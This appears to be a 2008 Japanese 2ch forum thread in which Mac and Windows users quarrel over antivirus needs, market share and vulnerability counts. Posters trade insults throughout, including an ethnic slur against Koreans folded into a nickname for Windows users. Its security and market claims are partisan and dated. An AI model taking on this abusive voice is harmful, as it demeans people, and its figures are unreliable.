;;;;;;;;;;;::: ::::;;;;;;:: ::: ::::...　　.:　.　.　＿.∩＿　　..:;;;:;;;;:;;;;;;;;;;;;;;;;;;;;;;::::
;;;;;;;;;;;;;;;;;;;;;;::::::...　　 　 　　 　ヽﾍ;;. 人丿ｽ　　:: ::::::;;;;;;;;;;;;;;;;;;;:::;;;; .:;
: :. :;;;;;;;;;;;;;;;;;;..　　　 从　　　　θ斤:ｴh　u　 　 .:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;:;,:.:;;;;;;;;;;;;:::.　　__ 《Y》_　　　∪レ..... 弋| 　 　　 :::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;::...　　.uﾍ人iイ　　.　 （. .」_　ﾉ　　　 ...::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;,:.. 　　　 (∨ﾍ　　　 　 |....|: .） 　　　.:::;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;::::.... 　　　.|;|ﾚ'　　 　　 .（_;）;;.| -〜、　..:..:..:,,;,;;;;;;;;;;;;:::::: ::
、 .＿　　＿.:;〜⌒^^⌒⌒´⌒｀￣￣　....::,...⌒~^⌒￣￣`〜.＿:::;:..

マカーがウイルスに無防備すぎるのは事実だが、ウイルスソフト入れたウインドウズより、入れてないマックの方が
安全なのもまた事実。

ついに初登場、iPhoneを狙ったトロイの木馬が出現
http://www.itmedia.co.jp/enterprise/articles/0801/08/news011.html

>iPhoneの「重要なシステムアップデート」を装うトロイの木馬が
>出現したという。しかし、リスクは小さいようだ。

相変わらずSymatnec必死だなw
Windowsだけ相手に商売してたほうがいいのに

　　　　　　　　　　　　 _.. ..‐::´／
　　　　　　　　　　　　　_/::::::::::::/
　　　　　　　　　　　＿/:::::::::::::/　＿＿＿_
　　　　　　　　 ,..::::´:::::::::::::::::::::￣:::::::::::._／
　　　　　　　／:::::::::::::::::|　ヽ､:::::;::::::::::::／
　　　　　　 /:::::::::::::::::::::|´|ヽ　　　|/_:::.::／
　　_ .. -─':::::::::::::::､::|｀'　 　,　　　.!::∠
　　｀''　‐-.._:::::::;-‐､｀（●）　　（●）　|::::｀::-､オッス！オラマカ！シェアが減少続きで
　=ﾆ二::::::::::::::::|６ 　 　＼＿＿_／､｜　-──｀ 将来がやべえ状態だってのに
　　　　‐=.二;;;;;｀‐ｔ　　 　＼／　　ノ　　　　　　　なんだかすっげえワクワクしてきたぞ！

この時期にシェアが減少続き？
ドザは果てしなく頭悪いな

Macを使い始めて12年。
セキュリティソフトなど使ったことないけど、一度もウイルスに感染したことない。

ブルース・ウイルス

哀れなドザチョンの敗北宣言w

ほら、マカ必死（笑）

また劣化コピーw

ドザチョンが惨めすぎて哀れ

うはっｗ 2分でレスきた。俺も対抗〜ｗ

まだ専ブラを知らないレス乞食乙

ブラがどうかしたのかｗ

レス乞食必死に食らいついて来るw

キモスw

キモスｗ


890 名前：名称未設定[sage] 投稿日：2008/01/13(日) 15:21:30 ID:mSA/SpX20
哀れなドザチョンの敗北宣言w


892 名前：名称未設定[sage] 投稿日：2008/01/13(日) 15:26:37 ID:mSA/SpX20
また劣化コピーw

ドザチョンが惨めすぎて哀れ


894 名前：名称未設定[sage] 投稿日：2008/01/13(日) 15:31:51 ID:mSA/SpX20
まだ専ブラを知らないレス乞食乙


896 名前：名称未設定[sage] 投稿日：2008/01/13(日) 15:38:10 ID:mSA/SpX20
レス乞食必死に食らいついて来るw

キモスw

粘着ドザ必死w

レス乞食粘着ドザチョン哀れw

MacにはｼﾏﾝﾃｯｸかｲﾝﾃﾞｨｺﾞしかないよねFree除けば・・・
皆さんはどちらを選びます？

どちらも選びません
なぜなら必要ないからです

>>1
「かからない」って幼稚な言い回しだね
低脳低学歴ゆとりカス世代か?

頭の弱いMacユーザーのことだ。
察してやれ。

>どちらも選びません
>なぜなら必要ないからです

ドザには理解できないほど難しい言い回しらしい

えーっ、Macのユーザってこの手のアプリ入れないひと多いのかな。
例え自分が感染発病しなくとも、媒介者になることはあるだろうに。
ｵﾚはMacだが、家族や友達はみんなWinさ。
自分の感染もイヤだけど、自分を媒介して人に移るのはもっとイヤダ。

2005年末までにMac以外のOSで確認されたウイルスは114,000種類。しかも、2006年3月だけで850種類の新しいウイルスが検出されましたが、Macはゼロ。

しかし2008年にもなってどうして2005,6年の情報なんて載せてるんだろうな・・・
売れ行きが悪すぎてｱﾎｰｼﾞｬﾊﾟﾝの社員はリストラされまくってしまったんだろうか・・・

マッキントッシュの世界シェアは引き続き史上最高を更新している。
昨年11月に発売された新OSの「レオパルド」がウインドウズ・ビスタとは異なり好評を博し、シェアを伸ばしている。

　昨年12月、レオパルドを含むアップル製OSのシェアは7.31%で史上最高を記録した。
一方ビスタを含むウインドウズシリーズのシェアは91.79%で、3カ月連続で下落している。

　レオパルドの評価もウインドウズ・ビスタとは正反対だ。「速い」「扱いやすい」など、ニューヨーク・タイムズやウォールストリート・ジャーナルなど主要メディアはレオパルドに対する称賛を惜しまない。
一方ウインドウズ・ビスタに対する評判は、マイクロソフトの努力にも関わらずなかなか好転しない。
英国のシネットはウインドウズ・ビスタに対して昨年、最も悲惨なハイテク製品の一つと評価した。
英ガーディアンは、ビスタがXPに比べて同スペックのパソコンでは15%から25%ほど処理速度が遅くなり、線を引くなどの基本的なグラフィック機能も最高で4倍も時間がかかると指摘している。

http://www.chosunonline.com/article/20080106000019

　　　　　　　　　　　　 _.. ..‐::´／
　　　　　　　　　　　　　_/::::::::::::/
　　　　　　　　　　　＿/:::::::::::::/　＿＿＿_
　　　　　　　　 ,..::::´:::::::::::::::::::::￣:::::::::::._／
　　　　　　　／:::::::::::::::::|　ヽ､:::::;::::::::::::／
　　　　　　 /:::::::::::::::::::::|´|ヽ　　　|/_:::.::／
　　_ .. -─':::::::::::::::､::|｀'　 　,　　　.!::∠
　　｀''　‐-.._:::::::;-‐､｀（●）　　（●）　|::::｀::-､オッス！オラマカ！シェアが減少続きで
　=ﾆ二::::::::::::::::|６ 　 　＼＿＿_／､｜　-──｀ 将来がやべえ状態だってのに
　　　　‐=.二;;;;;｀‐ｔ　　 　＼／　　ノ　　　　　　　なんだかすっげえワクワクしてきたぞ！

もう、他人の書き込みを読む事すら放棄してんのなw

Vista終わってるなw

＞英国教育工学通信協会（Becta）は1月7日、米MicrosoftのOS「Windows Vista」
＞とオフィススイート「Office 2007」の導入および互換性に関するリポートを発表し、
＞教育機関に対して導入を積極的に推奨できないとして注意を呼び掛けた。

英政府、教育機関に対しVistaとOffice 2007の導入に注意を呼び掛け
http://www.itmedia.co.jp/news/articles/0801/12/news013.html

WindowsVista AnyTimeUpgrade版　原価0円

原価0円(送料のみ500円）がバカな落札者に数千円〜1万円に落札されている。
http://search.auctions.yahoo.co.jp/jp/search/auc?p=AnyTimeUpgrade&auccat=0&alocale=0jp&acc=jp

大量出品した転売屋が現在炎上中
http://rating9.auctions.yahoo.co.jp/jp/show/rating?userID=peroperoparadise



AnyTimeUpgrade
http://search.auctions.yahoo.co.jp/jp/search/auc?p=AnyTimeUpgrade&auccat=0&alocale=0jp&acc=jp
1ページ中1ページ目を表示（合計：20点）
馬馬


Microsoft
Windows Anytime Upgrade DVD 64 bit （日本語） 配送申込　５００円
http://www.sofmap.com/product_detail/exec/_/sku=10689044/-/gid=SW01010000
Microsoft
Windows Anytime Upgrade DVD 32 bit （日本語） 配送申込　５００円
http://www.sofmap.com/product_detail/exec/_/sku=10689043/-/gid=SW01010000


これが馬鹿ドザクオリティーですwwwww

こういったウィルスもあるらしい(笑)
ttp://pc11.2ch.net/test/read.cgi/win/1199894655/104-

あまりドザをいじめてやるな。
毎日、ウイルスにビクついてて弱ってるんだから。

貴様ら覚悟しょろよ、感染してやる
http://www.nortonfighter.com/

観戦してますので、がんばってください

┐(´ー｀)┌これだからマカーは…

ばかー

ハッキングコンテストでMacが2分で陥落　VistaとLinuxは継続中
http://namidame.2ch.net/test/read.cgi/news/1206765924/

nanikonoｼﾞｴｯﾄｽﾄﾘｰﾑ(∩ ﾟдﾟ) ﾟдﾟ) ﾟдﾟ)ｱｰｱｰｷｺｴﾅｰｲsure

2007年のWindows XP、Vista、Mac OS Xの脆弱性統計
　　　　　　　　　　　　　　　　　 　XP 　Vista 　XP + Vista 　Mac OS X
セキュリティホール数合計 　　34　　 20 　　 　　44 　　　　　　243
月平均セキュリティホール数 2.83 　1.67 　　　　3.67 　　　　　20.25

これは、2007年にはAppleは月平均で見ると
Windows XPとVistaの5倍多くのセキュリティホールを抱えていたことを意味しており、その大半は深刻なものだった。
明らかにこれは、世間一般で考えられているものとは全く逆の状況であり、しかもその差は僅差でさえない。


http://japan.zdnet.com/sp/feature/07zeroday/story/0,3800083088,20363926,00.htm